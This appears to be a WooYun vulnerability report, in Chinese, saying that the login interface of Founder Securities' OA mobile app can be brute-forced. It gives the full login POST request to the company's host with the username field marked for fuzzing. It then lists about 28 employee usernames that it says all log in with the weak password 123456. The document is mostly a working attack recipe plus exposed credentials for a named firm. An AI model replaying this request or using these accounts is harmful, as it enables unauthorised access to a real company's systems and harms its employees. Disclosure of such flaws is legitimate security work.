WooYun.org

AppStore下载方正证券OA App，登陆接口可以爆破
问题数据包：

POST /FzoaRequestHelp/rootAction.do HTTP/1.1
Host: nmoa.foundersc.com
Proxy-Connection: keep-alive
Accept-Encoding: gzip, deflate
Content-Type: application/xml
Content-Length: 440
Accept-Language: zh-cn
Accept: */*
Connection: keep-alive
User-Agent: FZOA1/7.0.8 CFNetwork/758.3.15 Darwin/15.4.0
<?xml version='1.0' encoding='utf-8' ?><request><action id="login"><param key="hasencrypt">true</param><param key='username' >§wangwei§</param><param key="password">%40S%4054%40E%40%40S%4055%40E%40%40S%4056%40E%40%40S%4057%40E%40%40S%4058%40E%40%40S%4059%40E%40</param><param key='model'>iPhone</param><param key='systemVersion'>9.3</param><param key='uniqueIdentifier'>020000000000</param><param key='token'>(null)</param></action></request>

弱口令：123456（以下均可登陆）
451 yangxiuzhen 200 false false 1233
274 wanghaiyan 200 false false 1232
220 lijianhua 200 false false 1231
226 zhangshuai 200 false false 1229
187 zhangting 200 false false 1228
472 zhangrong 200 false false 1228
197 zhanglin 200 false false 1227
208 zhangxue 200 false false 1227
225 wangqian 200 false false 1227
240 liuchang 200 false false 1227
321 wangdong 200 false false 1227
440 zhanglin 200 false false 1227
94 wangxin 200 false false 1226
101 wangbin 200 false false 1226
150 yangjie 200 false false 1226
157 wanghua 200 false false 1226
265 chenhua 200 false false 1226
281 chenlei 200 false false 1226
285 wangrui 200 false false 1226
411 wangbin 200 false false 1226
429 yangxue 200 false false 1226
436 wangxin 200 false false 1226
37 liyong 200 false false 1225
39 liujie 200 false false 1225
65 liutao 200 false false 1225
207 wangxu 200 false false 1225
315 liukai 200 false false 1225
318 liuhua 200 false false 1225